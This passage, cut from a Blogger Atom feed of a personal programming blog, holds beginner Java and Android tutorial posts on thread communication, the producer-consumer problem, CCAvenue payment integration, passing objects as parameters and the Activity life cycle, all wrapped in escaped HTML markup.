&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;span style=&quot;color: #666666;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;i++;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}).start();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/3423904494458169924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2015/04/sending-message-from-one-worker-thread.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/3423904494458169924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/3423904494458169924'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2015/04/sending-message-from-one-worker-thread.html' title='Sending message from one worker thread to other worker thread using Handler and Looper (Android)'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYJGC6T-YEP_zwMg6A6h95u1sOJmygPgh8uCDqxS6hemlD9HxflUNG6Omu-cywKJROB6UshaetT8xrhM5xVm4OdbvaaqFbGq5J3IHw9WhFc6JdOFXEosSlAV2AUurHIWkz-Itrc1MJE_k/s72-c/Handler.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-6249127668219529731</id><published>2015-04-14T05:51:00.000-07:00</published><updated>2015-04-14T05:55:21.517-07:00</updated><title type='text'>Producer Consumer Problem Using Shared Variable</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Hi folks, Below JAVA implementation of Producer Consumer using sheared Variable.Producer Produces and Consumer Consumes.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;import java.util.Random;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;public class ProducerConsumer {&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;static int food = 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;static boolean flag = true; &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// To ensure producer produces first and for toggle&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;static Thread producer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;static Thread consumer;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public static void main(String... args) {&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;color: #666666; white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;// Consumer Thread&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;consumer = new Thread(new Runnable() {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void run() {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;synchronized (producer) { &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// locking producer&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;while (true) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;if (flag == false) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;try {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;Thread.sleep(1000); &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// Delay so it consumes per second&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;} catch (InterruptedException e) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;e.printStackTrace();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;System.out.println(&quot;I am consuming: &quot;+food);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;flag = true;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;producer.notify(); &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// notifying producer&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;});&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;consumer.start();&lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt; // Starting consumer thread&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;// Producer Thread&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;producer = new Thread(new Runnable() {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void run() {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;synchronized (consumer) { &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// locking consumer&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;while (true) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;if (flag == true) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;try {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;Thread.sleep(1000); &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// Delay so It produces every second&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;} catch (InterruptedException e) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;e.printStackTrace();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;food = new Random().nextInt(100); &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// producing a random &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;number&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;System.out.println(&quot;I am producing: &quot;+food);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;flag = false;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;       &lt;/span&gt;consumer.notify(); &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// Notifying consumer&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;      &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;});&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;producer.start(); &lt;/span&gt;&lt;span style=&quot;color: #6aa84f; font-family: Courier New, Courier, monospace;&quot;&gt;// starting Producer Thread&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #666666; font-family: Courier New, Courier, monospace;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/6249127668219529731/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2015/04/producer-consumer-problem-using-shared.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/6249127668219529731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/6249127668219529731'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2015/04/producer-consumer-problem-using-shared.html' title='Producer Consumer Problem Using Shared Variable'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-2111359140032031279</id><published>2014-11-29T01:49:00.003-08:00</published><updated>2014-11-29T02:17:58.038-08:00</updated><title type='text'>CCAvanue payment Integration For Android (With Sample  Project)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi there!&lt;br /&gt;
It&#39;s been days that I have posted anything here! But this made me write this post&lt;br /&gt;
I was going through Payment Integration in India for mobile apps, specially for android. There are some famous Integration method available such as Paypal, Google Wallet. But These two have problems in India since they are not versatile payment method for every Bank and Indian currency.&lt;br /&gt;
&lt;br /&gt;
At last I found CCAvanue which seems to me a better payment getway option in India. They have cool dashboard and a very effective customer service which is avail 24*7.&lt;br /&gt;
&lt;br /&gt;
CCAvanue has two type of integration for android application, one is seemless and other one is non-seemless. Seemless provides you option to save card information to your database but this requires special PCI Certificate or SAQ based on no hits.&lt;br /&gt;
&lt;br /&gt;
On Request from CCAvanue they provide you the mobile integration kit which carry Android and iOS Project with&amp;nbsp; two JSP file (One is getRSA.jsp and other one is ccavResponseHandler.jsp) which needs to be host on your register (register with CCAvanue ) website(You don&#39;t have to change anything in JSP file). &amp;nbsp;After hosting these two files you have two url which you will be needing in app.&lt;br /&gt;
&lt;br /&gt;
Since they provide Seemless Integration which is also avail &lt;a href=&quot;https://drive.google.com/file/d/0B70HSeNwd5LzRzBwTGFQeWRIS2M/view?usp=sharing&quot;&gt;Here&lt;/a&gt;. I decided to provide the non-seemless Integration kit which is having three activity &amp;nbsp;first will take input from user second one will open the webView where user will do the transaction and last one which will show the status whether transaction was successful or failure. Non-seemless Integration kit is available &lt;a href=&quot;https://drive.google.com/file/d/0B70HSeNwd5LzRlptTVFVX0lpUDQ/view?usp=sharing&quot;&gt;Here&lt;/a&gt;, You can download (This is basically reduced code ). You have to change the merchant ID and three URL (Cancel URL, Redirect URL and RSA Url) and you are done. I have commented on code where you need to change things. So,&amp;nbsp; app flow will be like this&lt;br /&gt;
&lt;br /&gt;
Enter Information ==&amp;gt; Click on Pay Button ==&amp;gt; Open the webView ==&amp;gt; Enter info ==&amp;gt; pay ==&amp;gt; StatusActivity&lt;br /&gt;
&lt;br /&gt;
If Any further query you have, please comment. &lt;br /&gt;
Thanks&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKW4Nw241Uxo6VnOT3GSUFUo261D9-hBOTViVxeea3K8tcznmUjSpE_q9kgqGuvH3_5-KS_JCiI_yO4bVRXqI9kxcsGiyupAT0dJFhWjbgFvgEI4EVpBMpzT-uKTjRdAAvEJR2MJQnDbc/s1600/CCAVANUE.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKW4Nw241Uxo6VnOT3GSUFUo261D9-hBOTViVxeea3K8tcznmUjSpE_q9kgqGuvH3_5-KS_JCiI_yO4bVRXqI9kxcsGiyupAT0dJFhWjbgFvgEI4EVpBMpzT-uKTjRdAAvEJR2MJQnDbc/s1600/CCAVANUE.jpg&quot; height=&quot;100&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihU0UTXMCyhoLLdIvD6pdAdXaGIYR0rDMaz2pINj0U9H6_lc6hAFVmgL-6ONCxeSgkm0ihpqzJ_hVuxo2fZL37t3PMeGiST8o8Rm78tZvA55DcVFEPvdooE6Dktdh27UeLNyuz1L9e2y4/s1600/ANDROID.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihU0UTXMCyhoLLdIvD6pdAdXaGIYR0rDMaz2pINj0U9H6_lc6hAFVmgL-6ONCxeSgkm0ihpqzJ_hVuxo2fZL37t3PMeGiST8o8Rm78tZvA55DcVFEPvdooE6Dktdh27UeLNyuz1L9e2y4/s1600/ANDROID.png&quot; height=&quot;199&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/2111359140032031279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2014/11/hi-there-its-been-days-that-i-have.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/2111359140032031279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/2111359140032031279'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2014/11/hi-there-its-been-days-that-i-have.html' title='CCAvanue payment Integration For Android (With Sample  Project)'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKW4Nw241Uxo6VnOT3GSUFUo261D9-hBOTViVxeea3K8tcznmUjSpE_q9kgqGuvH3_5-KS_JCiI_yO4bVRXqI9kxcsGiyupAT0dJFhWjbgFvgEI4EVpBMpzT-uKTjRdAAvEJR2MJQnDbc/s72-c/CCAVANUE.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-398445756649566750</id><published>2013-04-18T09:01:00.004-07:00</published><updated>2013-04-18T09:01:41.817-07:00</updated><title type='text'>Passing an object as parameter to a method </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Passing an object as parameter is always a confusing concept. here is a java code given below which might help you understand this concept .&lt;br /&gt;
&lt;br /&gt;
/*========================================*/&lt;br /&gt;
&lt;br /&gt;
public class HelloWorld{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;public static void main(String []args){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;myroom obj = new myroom();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;dadsroom obj1 = new dadsroom();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;obj1.love(obj);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
&amp;nbsp;class myroom{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public int x;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public int y =3;&lt;br /&gt;
} &lt;br /&gt;
class dadsroom{&lt;br /&gt;
&amp;nbsp;void love(myroom o){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;System.out.println(o.x +&quot;and&quot;+ o.y);&lt;br /&gt;
&amp;nbsp; &amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
/*========================================*/&lt;br /&gt;
&lt;br /&gt;
SHOULD I CALL IT EXPLANATION ? :&lt;br /&gt;
&amp;nbsp;I&#39;ve created three class in above code, one is HelloWorld which combines the main method, next is myroom, and last one is dadsroom. In main method, I&#39;ve created an object of myroom &quot;obj&quot; and another object of dadsroom &quot;obj1&quot;. dadsroom is having a method love which is&amp;nbsp;receiving object of myroom and then printing instance variable using object of myroom. In main, I&#39;ve called love method using object of class dadsroom and passing object of myroom&amp;nbsp; as parameter..&lt;br /&gt;&lt;br /&gt;Let&#39;s have a formal EXPLANATION:&lt;br /&gt;what i am trying to do is, i am having a template of myroom and also a template of dadsroom through their objects, now I am adding a room which is same as myroom(every thing is same as myroom cause it is instance of myroom) into dadsroom, now a room which is same as myroom is attached with dadsroom, I can access every feature (which was having myroom) through dadsroom. An object of myroom is attached with dadsroom by passing object of myroom.&lt;br /&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/398445756649566750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/04/passing-object-as-parameter-to-method.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/398445756649566750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/398445756649566750'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/04/passing-object-as-parameter-to-method.html' title='Passing an object as parameter to a method '/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-5182312022498523442</id><published>2013-04-14T06:03:00.001-07:00</published><updated>2013-04-14T06:03:57.244-07:00</updated><title type='text'>More about Activity Life Cycle with an example.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hey there, Here is an example of Activity life cycle, This will illustrate more about how onCreate(), onStart(), onResume, onPause(), onStop() call in activity Life Cycle, I have Created two activity and given toast in each method, when you&amp;nbsp;navigate&amp;nbsp;the application Toast will pop on the screen as per Activity Life cycle.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ================First layout (main.xml)=====================--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;br /&gt;
&amp;lt;LinearLayout xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:layout_width=&quot;fill_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:layout_height=&quot;fill_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:orientation=&quot;vertical&quot; &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;lt;TextView&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_width=&quot;fill_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_height=&quot;wrap_content&quot;&lt;br /&gt;
